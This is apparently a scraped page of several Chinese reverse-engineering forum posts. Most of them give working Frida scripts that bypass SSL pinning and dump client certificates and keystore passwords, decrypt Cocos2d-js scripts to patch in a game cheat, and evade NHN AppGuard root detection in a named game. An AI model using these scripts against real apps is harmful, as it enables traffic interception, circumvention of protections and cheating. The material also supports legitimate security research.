.getPrivateKey() var packageName = Java.use( \\"android.app.ActivityThread\\" ).currentApplication().getApplicationContext().getPackageName(); storeP12( this .getPrivateKey(), this .getCertificate(), \'/sdcard/Download/\' + packageName +uuid(10,16)+ \'.p12\' , \'r0ysue\' ); return result; } Java.use( \\"java.security.KeyStore$PrivateKeyEntry\\" ).getCertificateChain.implementation= function (){ var result = this .getCertificateChain() var packageName = Java.use( \\"android.app.ActivityThread\\" ).currentApplication().getApplicationContext().getPackageName(); storeP12( this .getPrivateKey(), this .getCertificate(), \'/sdcard/Download/\' + packageName +uuid(10,16)+ \'.p12\' , \'r0ysue\' ); return result; } }); |
7.这个x利蜂的例子到此为止,我们再拿出某Location,它也是双向证书认证,这次我们自己去找一下证书,还是一样启动charles进行抓包。
\\n8.可以看到,报错和之前是一样的,我们之前说过了,这种是sslpinning的情况,我们用objection的android sslpinning disable把它过掉,过掉之后,再重新抓包,发现报错变了,请求包正常,响应包400的情况。
\\n9.这种情况就是双向证书校验了,我们需要去解包找证书搜索.p12,.bks,.pem,还是一样没找到,我们只能去脱壳反编译代码,这次脱壳我用的是大佬给分享的一个脱壳网站:https://nop.gs/
\\n10.然后我们去代码里找找看,这里我们直接搜索keystore,发现就这几个,而且就这俩货带着BKS的关键字样。
\\n11.点进去看看,终于知道为啥我解包后,搜索常见证书后缀搜不着的原因了,原来是用了图片做证书。md
\\n12.证书找到了,接下来就是找密码了,怎么找呢?当然是hook了,上脚本。之前也说过了,因为java.security.KeyStore是系统的类是不会被混淆的,所以我们hook它就行了。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | function hook_KeyStore_load(){ Java.perform( function (){ var StringClass = Java.use( \\"java.lang.String\\" ); var KeyStore = Java.use( \\"java.security.KeyStore\\" ); KeyStore.load.overload( \'java.security.KeyStore$LoadStoreParameter\' ).implementation= function (arg0){ // printStack(\\"KeyStore.load1\\"); // 输出调用栈 console.log(Java.use( \\"android.util.Log\\" ).getStackTraceString(Java.use( \\"java.lang.Throwable\\" ).$ new ())); console.log( \\"KeyStore.load1:\\" , arg0); this .load(arg0); }; KeyStore.load.overload( \'java.io.InputStream\' , \'[C\' ).implementation= function (arg0, arg1){ // printStack(\\"KeyStore.load2\\"); console.log(Java.use( \\"android.util.Log\\" ).getStackTraceString(Java.use( \\"java.lang.Throwable\\" ).$ new ())); console.log( \\"KeyStore.load2:\\" , arg0, arg1 ? StringClass.$ new (arg1): null ); this .load(arg0, arg1); }; console.log( \\"hook_KeyStore_load...\\" ); }); } hook_KeyStore_load() |
13.来,让我们来看看hook的效果如何?hook出来了,密码是lerist.key.2021
\\n14.然后我们把证书拿出来
\\n15.这里我用了keystore explorer对证书进行格式的转换
\\n16.我们得把证书转成p12格式,才能在charles里安装,安装完成后,虽然是加密得,但是可以正常抓包了。
\\n在Android应用的抓包过程中,处理不同类型的证书验证机制的方法有所不同:
\\n无证书校验:如果应用没有进行证书验证,我们只需配置抓包工具的证书即可进行抓包。
\\n单向证书认证(SSL Pinning):对于SSL Pinning的应用,我们通常需要使用Frida等工具进行hook,以绕过SSL Pinning机制。在某些情况下,可能需要尝试多种方法,如使用JustTrustMe脚本,才能成功进行抓包。
\\n双向证书认证:对于双向证书认证,我们可以使用r0capture直接dump证书。此外,也可以通过代码中找到证书和密码,然后将其转换为.p12证书,并导入到抓包工具中进行抓包。
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
\\n\\n簡單聊一下cocos2djs手遊的逆向,有任何相關想法歡迎和我討論^^
\\n列出一些個人認為比較有用的概念:
\\nCocosCreator
和CocosStudio
,區別是前者是cocos2djs專用的開發工具,後者則是cocos2d-lua、cocos2d-cpp那些。
Cocos Creator 2
開發的手遊,生成的關鍵so默認名稱是libcocos2djs.so
Cocos Creator 3
開發的手遊,生成的關鍵so默認名稱是libcocos.so
( 入口函數非applicationDidFinishLaunching
).js
腳本進行加密&壓縮,而加密算法固定是xxtea
,還可以選擇是否使用Zip壓縮
libcocos2djs.so
裡的AppDelegate::applicationDidFinishLaunching
是入口函數,可以從這裡開始進行分析自己寫一個Demo來分析的好處是能夠快速地判斷某個錯誤是由於被檢測到?還是本來就會如此?
\\n嘗試過2.4.2、2.4.6兩個版本,都構建失敗,最終成功的版本信息如下:
\\nCreator 2.4.13
( 2系列裡的最高版本,低版本在AS編譯時會報一堆錯誤 )23.1.7779620
project/build.gradle
:classpath \'com.android.tools.build:gradle:8.0.2\'
project/gradle/gradle-wrapper.properties
:distributionUrl=https\\\\://services.gradle.org/distributions/gradle-8.0.2-all.zip
由於本人不懂cocos遊戲開發,只好直接用官方的Hello World模板。
\\n
首先要設置SDK和NDK路徑
\\n
然後構建的參數設置如下,主要需要設置以下兩點:
\\n
我使用Cocos Creator能順利構建,但無法編譯,只好改用Android Studio來編譯。
\\n使用Android Studio打開build\\\\jsb-link\\\\frameworks\\\\runtime-src\\\\proj.android-studio
,然後就可以按正常AS流程進行編譯
Demo如下所示,在中心輸出了Hello, World!
。
上述Demo構建中有一個選項是【加密腳本】,它會將js腳本通過xxtea算法加密成.jsc
。
而遊戲的一些功能就會通過js腳本來實現,因此cocos2djs逆向首要事件就是將.jsc
解密,通常.jsc
會存放在apk內的assets
目錄下
方法一:從applicationDidFinishLaunching
入手
方法二:HOOK
\\nset_xxtea_key
// soName: libcocos2djs.so\\nfunction hook_jsb_set_xxtea_key(soName) {\\n let set_xxtea_key = Module.findExportByName(soName, \\"_Z17jsb_set_xxtea_keyRKNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEE\\");\\n Interceptor.attach(set_xxtea_key,{\\n onEnter(args){\\n console.log(\\"xxtea key: \\", args[0].readCString())\\n },\\n onLeave(retval){\\n\\n }\\n })\\n}\\n\\n
xxtea_decrypt
function hook_xxtea_decrypt(soName) {\\n let set_xxtea_key = Module.findExportByName(soName, \\"xxtea_decrypt\\");\\n Interceptor.attach(set_xxtea_key,{\\n onEnter(args){\\n console.log(\\"xxtea key: \\", args[2].readCString())\\n },\\n onLeave(retval){\\n\\n }\\n })\\n}\\n\\n
一次性解密output_dir
目錄下所有.jsc
,並在input_dir
生成與output_dir
同樣的目錄結構。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | # pip install xxtea-py # pip install jsbeautifier import xxtea import gzip import jsbeautifier import os KEY = \\"abdbe980-786e-45\\" input_dir = r \\"cocos2djs_demo\\\\assets\\" # abs path output_dir = r \\"cocos2djs_demo\\\\output\\" # abs path def jscDecrypt(data: bytes, needJsBeautifier = True ): dec = xxtea.decrypt(data, KEY) jscode = gzip.decompress(dec).decode() if needJsBeautifier: return jsbeautifier.beautify(jscode) else : return jscode def jscEncrypt(data): compress_data = gzip.compress(data.encode()) enc = xxtea.encrypt(compress_data, KEY) return enc def decryptAll(): for root, dirs, files in os.walk(input_dir): # 創建與input_dir一致的結構 for dir in dirs: dir_path = os.path.join(root, dir ) target_dir = output_dir + dir_path.replace(input_dir, \\"\\") if not os.path.exists(target_dir): os.mkdir(target_dir) for file in files: file_path = os.path.join(root, file ) if not file .endswith( \\".jsc\\" ): continue with open (file_path, mode = \\"rb\\" ) as f: enc_jsc = f.read() dec_jscode = jscDecrypt(enc_jsc) output_file_path = output_dir + file_path.replace(input_dir, \\" \\").replace(\\" .jsc \\", \\" \\") + \\" .js\\" print (output_file_path) with open (output_file_path, mode = \\"w\\" , encoding = \\"utf-8\\" ) as f: f.write(dec_jscode) def decryptOne(path): with open (path, mode = \\"rb\\" ) as f: enc_jsc = f.read() dec_jscode = jscDecrypt(enc_jsc, False ) output_path = path.split( \\".jsc\\" )[ 0 ] + \\".js\\" with open (output_path, mode = \\"w\\" , encoding = \\"utf-8\\" ) as f: f.write(dec_jscode) def encryptOne(path): with open (path, mode = \\"r\\" , encoding = \\"utf-8\\" ) as f: jscode = f.read() enc_data = jscEncrypt(jscode) output_path = path.split( \\".js\\" )[ 0 ] + \\".jsc\\" with open (output_path, mode = \\"wb\\" ) as f: f.write(enc_data) if __name__ = = \\"__main__\\" : decryptAll() |
jsc
文件的2種讀取方式為實現對遊戲正常功能的干涉,顯然需要修改遊戲執行的js腳本。而替換.jsc
文件是其中一種思路,前提是要找到讀取.jsc
文件的地方。
我自己編譯的Demo就是以這種方式讀取/data/app/XXX/base.apk
裡assets
目錄內的.jsc
文件。
cocos引擎默認使用xxtea算法來對.jsc
等腳本進行加密,因此讀取.jsc
的操作定然在xxtea_decrypt
之前。
跟cocos2d-x源碼,找使用xxtea_decrypt
的地方,可以定位到LuaStack::luaLoadChunksFromZIP
向上跟會發現它的bytes數據是由getDataFromFile
函數獲取
繼續跟getDataFromFile
的邏輯,它會調用getContents
,而getContents
裡是調用fopen
來打開,但奇怪的是hook fopen
卻沒有發現它有打開任何.jsc
文件
後來發現調用的並非FileUtils::getContents
,而是FileUtilsAndroid::getContents
。
它其中一個分支是調用libandroid.so
的AAsset_read
來讀取.jsc
數據,調用AAssetManager_open
來打開.jsc
文件。
繼續對AAssetManager_open
進行深入分析( 在線源碼 ),目的是找到能夠IO重定向的點:
AAssetManager_open
裡調用了AssetManager::open
函數
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | // frameworks/base/native/android/asset_manager.cpp AAsset* AAssetManager_open(AAssetManager* amgr, const char * filename, int mode) { Asset::AccessMode amMode; switch (mode) { case AASSET_MODE_UNKNOWN: amMode = Asset::ACCESS_UNKNOWN; break ; case AASSET_MODE_RANDOM: amMode = Asset::ACCESS_RANDOM; break ; case AASSET_MODE_STREAMING: amMode = Asset::ACCESS_STREAMING; break ; case AASSET_MODE_BUFFER: amMode = Asset::ACCESS_BUFFER; break ; default : return NULL; } AssetManager* mgr = static_cast <AssetManager*>(amgr); // here Asset* asset = mgr->open(filename, amMode); if (asset == NULL) { return NULL; } return new AAsset(asset); } |
AssetManager::open
調用openNonAssetInPathLocked
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | // frameworks/base/libs/androidfw/AssetManager.cpp Asset* AssetManager::open( const char * fileName, AccessMode mode) { AutoMutex _l(mLock); LOG_FATAL_IF(mAssetPaths.size() == 0, \\"No assets added to AssetManager\\" ); String8 assetName(kAssetsRoot); assetName.appendPath(fileName); size_t i = mAssetPaths.size(); while (i > 0) { i--; ALOGV( \\"Looking for asset \'%s\' in \'%s\'\\\\n\\" , assetName.string(), mAssetPaths.itemAt(i).path.string()); // here Asset* pAsset = openNonAssetInPathLocked(assetName.string(), mode, mAssetPaths.itemAt(i)); if (pAsset != NULL) { return pAsset != kExcludedAsset ? pAsset : NULL; } } return NULL; } |
AssetManager::openNonAssetInPathLocked
先判斷assets
是位於.gz
還是.zip
內,而.apk
與.zip
基本等價,因此理應會走else分支。
1 | 奇怪的是當我使用frida hook驗證時,能順利hook到`openAssetFromZipLocked`,卻hook不到`getZipFileLocked`,顯然是不合理的。 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | // frameworks/base/libs/androidfw/AssetManager.cpp Asset* AssetManager::openNonAssetInPathLocked( const char * fileName, AccessMode mode, const asset_path& ap) { Asset* pAsset = NULL; if (ap.type == kFileTypeDirectory) { String8 path(ap.path); path.appendPath(fileName); pAsset = openAssetFromFileLocked(path, mode); if (pAsset == NULL) { /* try again, this time with \\".gz\\" */ path.append( \\".gz\\" ); pAsset = openAssetFromFileLocked(path, mode); } if (pAsset != NULL) { //printf(\\"FOUND NA \'%s\' on disk\\\\n\\", fileName); pAsset->setAssetSource(path); } // run this branch } else { String8 path(fileName); // here ZipFileRO* pZip = getZipFileLocked(ap); if (pZip != NULL) { ZipEntryRO entry = pZip->findEntryByName(path.string()); if (entry != NULL) { pAsset = openAssetFromZipLocked(pZip, entry, mode, path); pZip->releaseEntry(entry); } } if (pAsset != NULL) { pAsset->setAssetSource( createZipSourceNameLocked(ZipSet::getPathName(ap.path.string()), String8( \\"\\" ), String8(fileName))); } } return pAsset; } |
嘗試繼續跟剛剛hook失敗的AssetManager::getZipFileLocked
,它調用的是AssetManager::ZipSet::getZip
。
1 | 同樣用frida hook `getZip`,這次成功了,猜測是一些優化移除了`getZipFileLocked`而導致hook 失敗。 |
1 2 3 4 5 6 7 | // frameworks/base/libs/androidfw/AssetManager.cpp ZipFileRO* AssetManager::getZipFileLocked( const asset_path& ap) { ALOGV( \\"getZipFileLocked() in %p\\\\n\\" , this ); return mZipSet.getZip(ap.path); } |
ZipSet::getZip
會調用SharedZip::getZip
,後者直接返回mZipFile
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | // frameworks/base/libs/androidfw/AssetManager.cpp ZipFileRO* AssetManager::ZipSet::getZip( const String8& path) { int idx = getIndex(path); sp<SharedZip> zip = mZipFile[idx]; if (zip == NULL) { zip = SharedZip::get(path); mZipFile.editItemAt(idx) = zip; } return zip->getZip(); } ZipFileRO* AssetManager::SharedZip::getZip() { return mZipFile; } |
尋找mZipFile
賦值的地方,最終會找到是由ZipFileRO::open(mPath.string())
賦值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | // frameworks/base/libs/androidfw/AssetManager.cpp AssetManager::SharedZip::SharedZip( const String8& path, time_t modWhen) : mPath(path), mZipFile(NULL), mModWhen(modWhen), mResourceTableAsset(NULL), mResourceTable(NULL) { if (kIsDebug) { ALOGI( \\"Creating SharedZip %p %s\\\\n\\" , this , ( const char *)mPath); } ALOGV( \\"+++ opening zip \'%s\'\\\\n\\" , mPath.string()); // here mZipFile = ZipFileRO::open(mPath.string()); if (mZipFile == NULL) { ALOGD( \\"failed to open Zip archive \'%s\'\\\\n\\" , mPath.string()); } } |
1 | 從`frameworks / base / libs / androidfw / Android.bp`可知上述代碼的lib文件是`libandroidfw.so`,位於` / system / lib64 / `下。將其pull到本地然後用IDA打開,就能根據IDA所示的函數導出名稱 / 地址對這些函數進行hook。 |
無論是方式一還是方式二,.jsc
數據都是通過getDataFromFile
獲取。而getDataFromFile
裡調用了getContents
。
1 | getDataFromFile -> getContents |
在方式一中,我一開始看的是FileUtils::getContents
,但其實是FileUtilsAndroid::getContents
才對。
只有當fullPath[0] == \'/\'
時才會調用FileUtils::getContents
,而FileUtils::getContents
會調用fopen
來打開.jsc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | // https://github.com/cocos2d/cocos2d-x/blob/76903dee64046c7bfdba50790be283484b4be271/cocos/platform/android/CCFileUtils-android.cpp FileUtils::Status FileUtilsAndroid::getContents( const std::string& filename, ResizableBuffer* buffer) const { static const std::string apkprefix( \\"assets/\\" ); if (filename.empty()) return FileUtils::Status::NotExists; string fullPath = fullPathForFilename(filename); if (fullPath[0] == \'/\' ) // here return FileUtils::getContents(fullPath, buffer); // 方式一會走這裡.... } |
正常來說有以下幾種替換腳本的思路:
\\n找到讀取.jsc
文件的地方進行IO重定向。
直接進行字節替換,即替換xxtea_decypt
解密前的.jsc
字節數據,或者替換xxtea_decypt
解密後的明文.js
腳本。
這裡的替換是指開闢一片新內存,將新的數據放到這片內存,然後替換指針的指向。
\\n直接替換apk裡的.jsc
,然後重打包apk。
替換js明文,不是像2
那樣開闢一片新內存,而是直接修改原本內存的明文js數據。
經測試後發現只有1
、3
、4
是可行的,2
會導致APP卡死( 原因不明??? )。
從上述可知第一種.jsc
讀取方式會先調用ZipFileRO::open(mPath.string())
來打開apk,之後再通過AAssetManager_open
來獲取.jsc
。
hook ZipFileRO::open
看看傳入的參數是什麼。
function hook_ZipFile_open(flag) {\\n let ZipFile_open = Module.getExportByName(\\"libandroidfw.so\\", \\"_ZN7android9ZipFileRO4openEPKc\\"); \\n console.log(\\"ZipFile_open: \\", ZipFile_open)\\n return Interceptor.attach(ZipFile_open,\\n {\\n onEnter: function (args) {\\n console.log(\\"arg0: \\", args[0].readCString());\\n },\\n onLeave: function (retval) {\\n\\n }\\n }\\n );\\n}\\n\\n
可以看到其中一條是當前APK的路徑,顯然assets
也是從這裡取的,因此這裡是一個可以嘗試重定向點,先需構造一個fake.apk
push 到/data/app/XXX/
下,然後hook IO重定向到fake.apk
實現替換。
對我自己編譯的Demo而言,無論是以apktool解包&重打包的方式,還是直接解壓縮&重壓縮&手動命名的方式來構建fake.apk
都是可行的,但要記得賦予fake.apk
最低644
的權限。
以下是我使用上述方法在我的Demo中實踐的效果,成功修改中心的字符串。
\\n
但感覺這種方式的實用性較低( 什至不如直接重打包… )
\\n連這樣僅替換指針指向都會導致APP卡死??
\\nfunction hook_xxtea_decrypt() {\\n Interceptor.attach(Module.findExportByName(\\"libcocos2djs.so\\", \\"xxtea_decrypt\\"), {\\n onEnter(args) {\\n let jsc_data = args[0];\\n let size = args[1].toInt32();\\n let key = args[2].readCString();\\n let key_len = args[3].toInt32();\\n this.arg4 = args[4];\\n\\n let target_list = [0x15, 0x43, 0x73];\\n let flag = true;\\n for (let i = 0; i < target_list.length; i++) {\\n if (target_list[i] != Memory.readU8(jsc_data.add(i))) {\\n flag = false;\\n }\\n }\\n this.flag = flag;\\n if (flag) {\\n let new_size = size;\\n let newAddress = Memory.alloc(new_size);\\n Memory.protect(newAddress, new_size, \\"rwx\\")\\n Memory.protect(args[0], new_size, \\"rwx\\")\\n Memory.writeByteArray(newAddress, jsc_data.readByteArray(new_size))\\n args[0] = newAddress;\\n }\\n\\n },\\n onLeave(retval) {\\n }\\n })\\n\\n}\\n\\n
參考這位大佬的文章可知cocos2djs內置的v8引擎最終通過evalString
來執行.jsc
解密後的js代碼。
在正式替換前,最好先通過hook evalString
的方式保存一份目標js( 因為遊戲的熱更新策略等原因,可能導致evalString
執行的js代碼與你從apk裡手動解密.jsc
得到的js腳本有所不同 )。
function saveJscode(jscode, path) {\\n var fopenPtr = Module.findExportByName(\\"libc.so\\", \\"fopen\\");\\n var fopen = new NativeFunction(fopenPtr, \'pointer\', [\'pointer\', \'pointer\']);\\n var fclosePtr = Module.findExportByName(\\"libc.so\\", \\"fclose\\");\\n var fclose = new NativeFunction(fclosePtr, \'int\', [\'pointer\']);\\n var fseekPtr = Module.findExportByName(\\"libc.so\\", \\"fseek\\");\\n var fseek = new NativeFunction(fseekPtr, \'int\', [\'pointer\', \'int\', \'int\']);\\n var ftellPtr = Module.findExportByName(\\"libc.so\\", \\"ftell\\");\\n var ftell = new NativeFunction(ftellPtr, \'int\', [\'pointer\']);\\n var freadPtr = Module.findExportByName(\\"libc.so\\", \\"fread\\");\\n var fread = new NativeFunction(freadPtr, \'int\', [\'pointer\', \'int\', \'int\', \'pointer\']);\\n var fwritePtr = Module.findExportByName(\\"libc.so\\", \\"fwrite\\");\\n var fwrite = new NativeFunction(fwritePtr, \'int\', [\'pointer\', \'int\', \'int\', \'pointer\']);\\n\\n let newPath = Memory.allocUtf8String(path);\\n\\n let openMode = Memory.allocUtf8String(\'w\');\\n\\n let str = Memory.allocUtf8String(jscode);\\n\\n let file = fopen(newPath, openMode);\\n if (file != null) {\\n fwrite(str, jscode.length, 1, file)\\n fclose(file);\\n\\n }\\n return null;\\n}\\n\\nfunction hook_evalString() {\\n Interceptor.attach(Module.findExportByName(\\"libcocos2djs.so\\", \\"_ZN2se12ScriptEngine10evalStringEPKclPNS_5ValueES2_\\"), {\\n onEnter(args) {\\n let path = args[4].readCString();\\n path = path == null ? \\"\\" : path;\\n let jscode = args[1];\\n let size = args[2].toInt32();\\n if (path.indexOf(\\"assets/script/index.jsc\\") != -1) {\\n saveJscode(jscode.readCString(), \\"/data/data/XXXXXXX/test.js\\");\\n }\\n }\\n })\\n}\\n\\n
利用Memory.scan
來找到修改的位置
function findReplaceAddr(startAddr, size, pattern) {\\n Memory.scan(startAddr, size, pattern, {\\n onMatch(address, size) {\\n console.log(\\"target offset: \\", ptr(address - startAddr))\\n return \'stop\';\\n },\\n onComplete() {\\n console.log(\'Memory.scan() complete\');\\n }\\n });\\n}\\n\\nfunction hook_evalString() {\\n Interceptor.attach(Module.findExportByName(\\"libcocos2djs.so\\", \\"_ZN2se12ScriptEngine10evalStringEPKclPNS_5ValueES2_\\"), {\\n onEnter(args) {\\n let path = args[4].readCString();\\n path = path == null ? \\"\\" : path;\\n let jscode = args[1];\\n let size = args[2].toInt32();\\n if (path.indexOf(\\"assets/script/index.jsc\\") != -1) {\\n let pattern = \\"76 61 72 20 65 20 3D 20 64 2E 50 6C 61 79 65 72 41 74 74 72 69 62 75 74 65 43 6F 6E 66 69 67 2E 67 65 74 44 72 65 61 6D 48 6C 70 65 49 74 65 6D 44 72 6F 70 28 29 2C\\";\\n findReplaceAddr(jscode, size, pattern);\\n }\\n }\\n })\\n}\\n\\n
最後以Memory.writeU8
來逐字節修改,不用Memory.writeUtf8String
的原因是它默認會在最終添加\'\\\\0\'
而導致報錯。
function replaceEvalString(jscode, offset, replaceStr) {\\n for (let i = 0; i < replaceStr.length; i++) {\\n Memory.writeU8(jscode.add(offset + i), replaceStr.charCodeAt(i))\\n }\\n}\\n\\n// 例:\\nfunction cheatAutoChopTree(jscode) {\\n let replaceStr = \'true || \\" \\"\';\\n replaceEvalString(jscode, 0x3861f6, replaceStr)\\n}\\n\\n
以某款砍樹遊戲來進行簡單的實踐。
\\n遊戲有自動砍樹的功能,但需要符合一定條件
\\n
如何找到對應的邏輯在哪個.jsc
中?直接搜字符串就可以。
利用上述替換思路4來修改對應的js判斷邏輯,最終效果:
\\n
思路4那種替換手段有大小限制,不能隨意地修改,暫時還未找到能隨意修改的手段,有知道的大佬還請不嗇賜教,有任何想法也歡迎交流^^
\\n那天酒足饭饱,夜不能寐,在日韩区看的津津有味,索性动身打开电脑,来一场酣畅淋漓的文章。废话不多说,欢迎大家来到日韩专区,这次的主角是 NHN AppGuard ,主角的特征是 libdiresu.so libloader.so
主角圆润的弹窗,不得不说很标特否,粗略扫一眼,完蛋居然被检测到我那藏起来的根(Rooting)
直接给我干闪退,网上说日韩很温柔,都是骗人的!!!幸好我打印了so 加载,不得不让我怀疑 libloader.so,现在目标明确,先干它
现在就让我们用IDA 好好蹂躏它吧,可以看到.init_array 有很多个函数,只有第一个函数sub_1718D4被IDA识别到,嗦嘎!!!明显是第一个函数解密了后面的函数,这里有个执行顺序的问题,如果JNI_Onload 是加密的,那么就往init_array,init_proc 去分析,假如都是加密的,那没得说了
这个壳的解密过程就不细说了,感兴趣可以去看下乐佬写的文章,看的我意犹未尽,从壳的加载解密到闪退等等,说的很详细,点赞
乐佬的文章
当看完乐佬的文章,你已经可以进入这次的主角,距离成功只差临门一脚。
分析Security Warning弹窗,从弹窗的样式以so加载,可以看出是Java层触发的
通过Frida 对 Android Dialog.show 打堆栈,可以定位到com.siem.ms7.DetectionPopup
代码中存在很多隐晦难理解的字符串,先不管它,直接找create的地方,什么鬼,居然没调用
别慌,从堆栈打印中看到了native,得知这是从native 反射调用滴,嗦嘎!!!
当我们打印art的所有JNI函数,在NewStringUtf 发现令人激动的一幕
图上所示,这堆栈怎么没有so名称和偏移啊!!!!不会是自定义linker和开辟了一块匿名内存做检测吧?没事,我们先根据堆栈地址,从maps能不能找到一些有用的信息(正常逻辑是要分析libloader.so对Engine的加载)
通过对maps 分析,找到堆栈位置在/data/data/com.mobirix.mbpdh/.dtam145zau/fkr5gbebm3 (deleted) 里面,其中(deleted)符合堆栈没有so名字与符号的情况,不用看,直接Hook remove
可以看到remove了加载的so地址,我们阻止remove将so拷贝出来(暂且叫它“Engine”),此时打印堆栈就能看到对应的so名字
除了导出函数混淆以外,代码段没加密(奇怪,我分析那会,是对代码段有加密的,现在没加密了)
跳到 0x706391c34c iuyz5u972r!0xa834c 处,调用了JNI NewStringUTF
打印堆栈,最终找出触发点,看出有libc的kill和syscall exit,把a2的值改成0绕过检测
现在frida 可以无忧无虑调式了
好家伙,init_array 和导出函数加密了,也没见start 与 .init_proc 函数,基本确定是通过其他so去解密的(elf结构没啥问题)
直接揭晓,解密由libloader.so操作,过程有点复杂就不贴出来了,大概流程就是加载elf,解析elf,找到代码段,解压缩代码段,复制解压的数据回填到il2cpp里,这里推荐一个简单的办法,对il2cpp的代码段监听读写,就得用上MemoryAccessMonitor.enable
打印出一个大概的地址,偏差不会很大,decode_iL2cpp 的v10代码段起始地址,v11是长度,hook dump出指定起始地址与长度,回填到il2cpp
舒服,终于看到了熟悉的操作,dump出global-metadata.dat
用Il2CppDumper dump出游戏的sdk
查看dump.cs,舒服啊,还有韩文注释了函数的作用,hook 这些函数达到让人意想不到的结果
难度中下,骚操作不多,集中在libloader,有机会我得好好学习日文跟韩文,大佬们有没有资料发下
样本:com.mobirix.mbpdh
使用IDA pro 9.0 android_server64调试程序会报错:
IDA查找对应的字符串\\"internal error\\"
最终找到调用方法interr
启动android_server64和frida
上frida hook interr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | function main() { var moduleName = \\"android_server64\\" ; var functionName = \\"interr\\" ; Interceptor.attach(Module.findExportByName(moduleName, functionName), { onEnter: function(args) { console.log( \\"Entering \\" + functionName); showNativeStack(this.context) }, onLeave: function(retval) { console.log( \\"Leaving \\" + functionName); } }); } |
frida启动之后,打开ida去开启调试
输入手机IP和端口
然后会看到程序直接退出了,观察frida打印
IDA跳转到0x940d0
,确定当前位置就是判断的逻辑,准备nop掉
IDA获取该地址的bytes字节,拿到 ARM COVER去辅助还原
修改前
1 | 1F 01 00 71 AD 00 00 54 E0 03 13 AA F3 7B 41 A9 |
修改后
\\n1 | 1F 20 03 D5 AD 00 00 54 E0 03 13 AA F3 7B 41 A9 |
然后保存文件,重新push到手机,随便找个APK验证下。发现可以正常读取进程了。
漫长等待之后,也进入了debug界面,module选择想调试的so
至此结束。上传一份修复好的
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n最近在讲解Linux内核kernel patch的实现原理, 其中不乏优秀的开源项目和内核大神, APatch就是其中之一.
\\nAPatch借鉴了magisk patch init和selinux的方式在内核层实现了hook(注意b跳转相关hook, 非inlinehook). 思维巧妙有较高的学习意义.
\\n但是在上手探究原理的过程中, 如果使用真机的方式, 简单修改就会卡机, 需要重刷等.
\\n好的环境是好的开始的前提, 因为我们是探究其原理, 简单过一下项目其实现方式与平台无关, 因此可以通过内核模拟的方式, 使用GDB探究其中的每一步实现, 完美规避.
\\n系统环境配置【必备】
强烈建议使用Ubuntu22.04(http://mirror.nju.edu.cn/ubuntu-releases/22.04.4/ubuntu-22.04.4-desktop-amd64.iso)
安装Qemu
\\n1 2 3 4 5 | sudo apt update sudo apt - get install qemu qemu - system qemu - user root@happy / s / qemu_linux # qemu-system-aarch64 --version QEMU emulator version 6.2 . 0 (Debian 1 : 6.2 + dfsg - 2ubuntu6 . 19 ) Copyright (c) 2003 - 2021 Fabrice Bellard and the QEMU Project developers |
注意:不同的qemu版本可能起始的物理地址不同,本人电脑使用ubuntu22.04自带版本,6.2.0
\\n要求:最好自己折腾, 也可以使用我准备好的。
https://github.com/nzcv/KernelPatchQEMU/releases/tag/dev1.0.7(手动编译查看github/workflow)
1.1 使用交叉编译器或者直接官方网站下载:
1 2 3 | sudo apt - get update sudo apt - get install gcc - 10 - aarch64 - linux - gnu sudo mv / usr / bin / aarch64 - linux - gnu - gcc - 10 / usr / bin / aarch64 - linux - gnu - gcc |
1.2 下载4.15.2内核
\\n1 | > curl - L - O https: / / cdn.kernel.org / pub / linux / kernel / v4.x / linux - 4.15 . 2.tar .gz |
1.3 快速编译命令
\\n1 2 3 4 5 6 | sudo apt - get install git git clone https: / / github.com / nzcv / KernelPatchQEMU.git cd KernelPatchQEMU make ARCH = arm64 CROSS_COMPILE = aarch64 - linux - gnu - defconfig make - j$(nproc) ARCH = arm64 CROSS_COMPILE = aarch64 - linux - gnu - |
要求:最好自己折腾,也可以使用已修改版本
\\n1.1 参考链接
https://blog.csdn.net/liuyinggui163/article/details/126877114
http://m.blog.chinaunix.net/uid-21419530-id-5835399.html
1 2 | / / 使用工程内部直接patch patch lib / Kconfig.debug < .. / patch / Kconfig.debug.patch |
1 2 3 4 5 6 7 | make menuconfig ARCH = arm64 CROSS_COMPILE = aarch64 - linux - gnu - / / default and save exit make defconfig ARCH = arm64 CROSS_COMPILE = aarch64 - linux - gnu - make - j8 ARCH = arm64 CROSS_COMPILE = aarch64 - linux - gnu - 其他配置: CONFIG_DEBUG_KERNEL = y |
6.1 编译busybox
https://busybox.net/downloads/?C=M;O=D(busybox)
1 2 3 4 | make menuconfig ARCH = arm64 CROSS_COMPILE = aarch64 - linux - gnu - Settings - - - > [ * ] Build static binary (no shared libs) / / 静态编译 [ * ] Build with debug information / / 可选,带调试信息,方便后续调试 |
6.2 制作initrd
\\n1 2 | make ARCH = arm64 CROSS_COMPILE = aarch64 - linux - gnu - install find . | cpio - o - - format = newc > .. / rootfs.img |
// makefile
